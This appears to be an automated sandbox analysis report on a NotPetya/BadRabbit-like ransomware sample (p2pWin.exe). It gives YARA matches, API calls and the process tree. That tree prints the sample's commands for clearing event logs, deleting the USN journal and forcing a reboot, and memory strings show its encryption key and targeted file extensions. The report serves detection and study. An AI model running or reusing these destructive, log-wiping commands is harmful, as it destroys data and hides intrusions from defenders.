Source: 1.2.rundll32.exe.2ce5020.2.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.p2pWin.exe.37830.2.raw.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.p2pWin.exe.37830.2.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.p2pWin.exe.37830.2.raw.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.2.p2pWin.exe.37830.2.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.2.p2pWin.exe.37830.2.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.2.p2pWin.exe.37830.2.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.p2pWin.exe.37830.3.raw.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.37830.3.raw.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.37830.3.raw.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.0.p2pWin.exe.37830.3.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.0.p2pWin.exe.37830.3.raw.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.0.p2pWin.exe.37830.3.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.2.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.2.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.2.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: BadRabbit_Gen date = 2017-10-25, hash3 = 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, hash2 = 579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648, hash1 = 8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93, author = Florian Roth, description = Detects BadRabbit Ransomware, reference = https://pastebin.com/Y7pJv3tK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: NotPetya_Ransomware_Jun17 date = 2017-06-27, hash3 = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1, hash2 = 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0, hash1 = 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745, author = Florian Roth, description = Detects new NotPetya Ransomware variant from June 2017, reference = https://goo.gl/h6iaGj, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 0.0.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.0.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 0.0.p2pWin.exe.30000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_NotPetya tc_detection_name = NotPetya, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 00000001.00000002.1670422121.0000000002E5D000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 00000001.00000002.1670422121.0000000002E5D000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000001.00000002.1670422121.0000000002E5D000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000000.00000000.1627434367.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 00000000.00000000.1627434367.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000000.00000000.1627434367.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000000.00000002.1631035398.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 00000000.00000002.1631035398.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000000.00000002.1631035398.0000000000036000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: doublepulsarxor_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: doublepulsardllinjection_petya date = 2017-06-28, author = patrick user, description = rule to hit on the xored doublepulsar dll injection shellcode, reference1 = https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html, reference2 = https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf, company = booz allen hamilton, hash = 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1
Source: Process Memory Space: p2pWin.exe PID: 5320, type: MEMORYSTR	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html
Source: Process Memory Space: rundll32.exe PID: 2284, type: MEMORYSTR	Matched rule: fe_cpe_ms17_010_ransomware date = 2017-06-27, author = ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick, description = probable petya ransomware using eternalblue, wmic, psexec, version = 1.1, reference = https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\dllcm.dat

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E57DEB #1,WSAStartup,InitializeCriticalSection,CreateThread,CreateThread,CreateThread,SetThreadToken,ResumeThread,GetLastError,CloseHandle,SetLastError,CreateThread,SetThreadToken,ResumeThread,WaitForSingleObject,GetLastError,CloseHandle,CreateThread,GetProcessHeap,GetProcessHeap,HeapAlloc,CreateThread,GetProcessHeap,HeapFree,Sleep,Sleep,Sleep,memset,GetVersionExW,ExitProcess,Sleep,wsprintfW,GetModuleHandleA,GetProcAddress,NtRaiseHardError,InitiateSystemShutdownExW,ExitWindowsEx,

1_2_02E57DEB

Source: C:\Users\user\Desktop\p2pWin.exe

File created: C:\Windows\dllcm.dat

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 1_2_02E57DEB #1,WSAStartup,InitializeCriticalSection,CreateThread,CreateThread,CreateThread,SetThreadToken,ResumeThread,GetLastError,CloseHandle,SetLastError,CreateThread,SetThreadToken,ResumeThread,WaitForSingleObject,GetLastError,CloseHandle,CreateThread,GetProcessHeap,GetProcessHeap,HeapAlloc,CreateThread,GetProcessHeap,HeapFree,Sleep,Sleep,Sleep,memset,GetVersionExW,ExitProcess,Sleep,wsprintfW,GetModuleHandleA,GetProcAddress,NtRaiseHardError,InitiateSystemShutdownExW,ExitWindowsEx,	1_2_02E57DEB
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Code function: 4_2_00007FF72E902244 GetCurrentProcess,NtQueryInformationProcess,RtlGetCurrentPeb,	4_2_00007FF72E902244
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Code function: 4_2_00007FF72E90195C NtQuerySystemInformation,GetModuleHandleW,GetProcAddress,LocalAlloc,NtQuerySystemInformation,LocalFree,	4_2_00007FF72E90195C

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E58CBF: CreateFileA,DeviceIoControl,DeviceIoControl,LocalAlloc,DeviceIoControl,WriteFile,LocalFree,FindCloseChangeNotification,

1_2_02E58CBF

Source: dllhost.dat.1.dr

Static PE information: Resource name: BINRES type: PE32 executable (console) Intel 80386, for MS Windows

Source: C:\Windows\SysWOW64\wevtutil.exe

Process token adjusted: Security

Source: p2pWin.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@24/63@0/3

Source: C:\Users\user\Desktop\p2pWin.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E585D0 LoadResource,LockResource,SizeofResource,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,

1_2_02E585D0

Source: p2pWin.exe

Binary or memory string: MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68EZjK+cIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQABC:\Windows;.3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.exe.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip.%ws.*...Microsoft Enhanced RSA and AES Cryptographic ProviderREADME.TXTQ

Source: p2pWin.exe

ReversingLabs: Detection: 59%

Source: C:\Users\user\Desktop\p2pWin.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\p2pWin.exe C:\Users\user\Desktop\p2pWin.exe
Source: C:\Users\user\Desktop\p2pWin.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Windows\dllcm.dat #1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\F2CD.tmp "C:\Users\user\AppData\Local\Temp\F2CD.tmp" \\.\pipe\{0F3B598D-CFC9-40D0-87DB-B9CBE1DF730C}
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15
Source: C:\Users\user\AppData\Local\Temp\F2CD.tmp	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D C:
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Setup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl System
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Security
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Application
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\fsutil.exe fsutil usn deletejournal /D C:
Source: C:\Users\user\Desktop\p2pWin.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Windows\dllcm.dat #1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Users\user\AppData\Local\Temp\F2CD.tmp "C:\Users\user\AppData\Local\Temp\F2CD.tmp" \\.\pipe\{0F3B598D-CFC9-40D0-87DB-B9CBE1DF730C}	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D C:	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Setup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl System	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Security	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wevtutil.exe wevtutil cl Application	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\fsutil.exe fsutil usn deletejournal /D C:	Jump to behavior

Source: C:\Users\user\Desktop\p2pWin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E581BA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,SetLastError,

1_2_02E581BA

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\AppData\Local\Temp\F2CD.tmp

Contains functionality to check for running processes (XOR)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_02E58677 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

1_2_02E58677

Source: C:\Users\user\Desktop\p2pWin.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Windows\dllcm.dat #1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1004:120:WilError_03

Source: C:\Users\user\Desktop\p2pWin.exe

Command line argument: rundll32.exe

0_2_00031070

Source: p2pWin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
